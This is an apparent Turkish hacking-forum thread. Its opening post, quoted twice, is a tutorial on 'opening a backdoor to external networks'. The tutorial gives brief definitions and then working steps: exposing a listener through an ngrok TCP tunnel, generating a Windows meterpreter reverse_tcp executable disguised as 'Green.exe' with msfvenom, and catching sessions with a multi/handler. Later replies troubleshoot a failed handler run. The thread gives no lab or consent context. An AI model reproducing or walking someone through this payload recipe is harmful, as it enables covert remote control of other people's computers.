//M E T A S P L O I T\\ ile Dış Ağlara Backdoor Açalım !

SkyRexun' Alıntı:

Eline sağlık çaylak. Nedir leri biraz daha uzun tutarsan dahada güzel olur

Genişletmek için tıkla ...

Nikon of Disast' Alıntı:

Hepinize merhaba arkadaşlar bu konumda sizlere MSFVenom ve Met@sploit ile dış ağlara backdoor açılımını göstereceğim.

Bu konuda şunları öğreneceksiniz:



M E T A S P L O I T nedir?

Ngrok nedir?

Ngrok nasıl çalışır?

M S F V E N O M nedir?

Exploit nedir?

Payload nedir?

Port nedir?

Resimli anlatım.







Met@sploit nedir?



Met@sploit, sistemdeki zâfiyetler hakkında bilgi veren, pentest ve IDS'nin gelişimine yardımcı olan bir konsol uygulamasıdır.







Ngrok nedir?



Ngrok, local ağı port yardımıyla internete açan bir uygulamadır.







Ngrok, nasıl çalışır?



Ngrok, belirttiğiniz protokol ve port ile local ağı internete açık hale getirir.







MSFVenom, nedir?



MSFVenom, MSF'e bağlı olan bir payload oluşturmak için kullanılan terminal uygulamasıdır.







Exploit nedir?



Hedef sistemdeki zâfiyetlerden yararlanmak için yazılan scripttir.

Yazıldığı dillere örnek vermek gerekirse: C, C++, Ruby gibi diller kullanılarak yazılır.







Payload nedir?



Payload, exploit işlemi başarılı olduğu süreçte hedefe gönderilip çalıştırma emri verilen modüldür.







Port, nedir?



Port, bir bağlantının iletişim uç noktasıdır.







Resimli anlatım.



Ngrok hesabı oluşturalım:



Ngrok'un kendi sitesi olan "ngrok.com" sitesine girelim ve sign up tuşuna basalım.







Sonrasında istenilen bilgileri doldurarak kayıt olalım.







Bize lazım olan kısım "2." kısımdır. Bunu bir köşeye yazalım.







Ngrok'u indirelim.







Ngrok indikten sonra terminale "2." kısımdaki kodu yazalım.



Sonrasında ./ngrok tcp 22 komutuyla tcp protokolü kullanarak 22. portu dinlemeye alalım ve yönlendirme işlemini local hostumuza yapsın.







MSFVenom ile backdoor oluşturalım.

Kod:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=18504 -f exe R > Green.exe

Backdoorumuz oluştuktan sonra onu dinlemeye almak için terminale "msfconsole" yazalım.



MSFConsole açıldıktan sonra terminale şunları yazalım:

Kod:

use exploit/multi/handler[/COLOR][/B][/FONT][/CENTER][/COLOR][/B][/FONT][/CENTER][/COLOR][/B][/FONT][/CENTER][/COLOR][/B][/FONT][/CENTER]
[FONT=Courier New][B][COLOR=Cyan][CENTER][FONT=Courier New][B][COLOR=Cyan][CENTER][FONT=Courier New][B][COLOR=Cyan][CENTER][FONT=Courier New][B][COLOR=Cyan]
[CENTER]

set payload windows/meterpreter/reverse_tcp



set LHOST 127.0.0.1



set LPORT 22

​

Terminale "run" yazdığımızda backdoor'u dinlemeye alacağız.



Konuda ki terimler:



Backdoor: Arka kapı

Local: Yerel

Host: Ağ

Local Host: Yerel Ağ​

Genişletmek için tıkla ...

Nikon of Disast' Alıntı:

Hepinize merhaba arkadaşlar bu konumda sizlere MSFVenom ve Met@sploit ile dış ağlara backdoor açılımını göstereceğim.

Bu konuda şunları öğreneceksiniz:



M E T A S P L O I T nedir?

Ngrok nedir?

Ngrok nasıl çalışır?

M S F V E N O M nedir?

Exploit nedir?

Payload nedir?

Port nedir?

Resimli anlatım.







Met@sploit nedir?



Met@sploit, sistemdeki zâfiyetler hakkında bilgi veren, pentest ve IDS'nin gelişimine yardımcı olan bir konsol uygulamasıdır.







Ngrok nedir?



Ngrok, local ağı port yardımıyla internete açan bir uygulamadır.







Ngrok, nasıl çalışır?



Ngrok, belirttiğiniz protokol ve port ile local ağı internete açık hale getirir.







MSFVenom, nedir?



MSFVenom, MSF'e bağlı olan bir payload oluşturmak için kullanılan terminal uygulamasıdır.







Exploit nedir?



Hedef sistemdeki zâfiyetlerden yararlanmak için yazılan scripttir.

Yazıldığı dillere örnek vermek gerekirse: C, C++, Ruby gibi diller kullanılarak yazılır.







Payload nedir?



Payload, exploit işlemi başarılı olduğu süreçte hedefe gönderilip çalıştırma emri verilen modüldür.







Port, nedir?



Port, bir bağlantının iletişim uç noktasıdır.







Resimli anlatım.



Ngrok hesabı oluşturalım:



Ngrok'un kendi sitesi olan "ngrok.com" sitesine girelim ve sign up tuşuna basalım.







Sonrasında istenilen bilgileri doldurarak kayıt olalım.







Bize lazım olan kısım "2." kısımdır. Bunu bir köşeye yazalım.







Ngrok'u indirelim.







Ngrok indikten sonra terminale "2." kısımdaki kodu yazalım.



Sonrasında ./ngrok tcp 22 komutuyla tcp protokolü kullanarak 22. portu dinlemeye alalım ve yönlendirme işlemini local hostumuza yapsın.







MSFVenom ile backdoor oluşturalım.

Kod:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=18504 -f exe R > Green.exe

Backdoorumuz oluştuktan sonra onu dinlemeye almak için terminale "msfconsole" yazalım.



MSFConsole açıldıktan sonra terminale şunları yazalım:

Kod:

use exploit/multi/handler[/COLOR][/B][/FONT][/CENTER][/COLOR][/B][/FONT][/CENTER][/COLOR][/B][/FONT][/CENTER]
[FONT=Courier New][B][COLOR=Cyan][CENTER][FONT=Courier New][B][COLOR=Cyan][CENTER][FONT=Courier New][B][COLOR=Cyan]
[CENTER]

set payload windows/meterpreter/reverse_tcp



set LHOST 127.0.0.1



set LPORT 22

​

Terminale "run" yazdığımızda backdoor'u dinlemeye alacağız.



Konuda ki terimler:



Backdoor: Arka kapı

Local: Yerel

Host: Ağ

Local Host: Yerel Ağ​

Genişletmek için tıkla ...

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 22
LPORT => 22
msf6 exploit(multi/handler) > run
[-] Unknown command: r�un
msf6 exploit(multi/handler) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[-] Handler failed to bind to 127.0.0.1:22:- -
[-] Handler failed to bind to 0.0.0.0:22:- -
[-] Exploit failed: Errno::EACCES Permission denied - bind(2) for 0.0.0.0:22
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[-] Handler failed to bind to 127.0.0.1:22:- -
[-] Handler failed to bind to 0.0.0.0:22:- -
[-] Exploit failed: Errno::EACCES Permission denied - bind(2) for 0.0.0.0:22
[*] Exploit completed, but no session was created.

Yardm edermisin?

Eline sağlık dostum

eline sağlık güzel olmuş

Kalinux' Alıntı:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 22
LPORT => 22
msf6 exploit(multi/handler) > run
[-] Unknown command: r�un
msf6 exploit(multi/handler) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[-] Handler failed to bind to 127.0.0.1:22:- -
[-] Handler failed to bind to 0.0.0.0:22:- -
[-] Exploit failed: Errno::EACCES Permission denied - bind(2) for 0.0.0.0:22
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[-] Handler failed to bind to 127.0.0.1:22:- -
[-] Handler failed to bind to 0.0.0.0:22:- -
[-] Exploit failed: Errno::EACCES Permission denied - bind(2) for 0.0.0.0:22
[*] Exploit completed, but no session was created.

Genişletmek için tıkla ...

Dostum
Önce sil
Sonra şu komutu yap
sudo apt-get remove --auto-remove metasploit-framework
Sonra github dan birdaha kur

Kalinux' Alıntı:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf6 exploit(multi/handler) > set LPORT 22
LPORT => 22
msf6 exploit(multi/handler) > run
[-] Unknown command: r�un
msf6 exploit(multi/handler) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[-] Handler failed to bind to 127.0.0.1:22:- -
[-] Handler failed to bind to 0.0.0.0:22:- -
[-] Exploit failed: Errno::EACCES Permission denied - bind(2) for 0.0.0.0:22
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[-] Handler failed to bind to 127.0.0.1:22:- -
[-] Handler failed to bind to 0.0.0.0:22:- -
[-] Exploit failed: Errno::EACCES Permission denied - bind(2) for 0.0.0.0:22
[*] Exploit completed, but no session was created.

Genişletmek için tıkla ...

set LHOST 0.0.0.0 - set LPORT *portunuz, örn 1234* ek olarak payloadınızı seçmeyi unutmayın, -p'den sonra gelen payloadı seçin.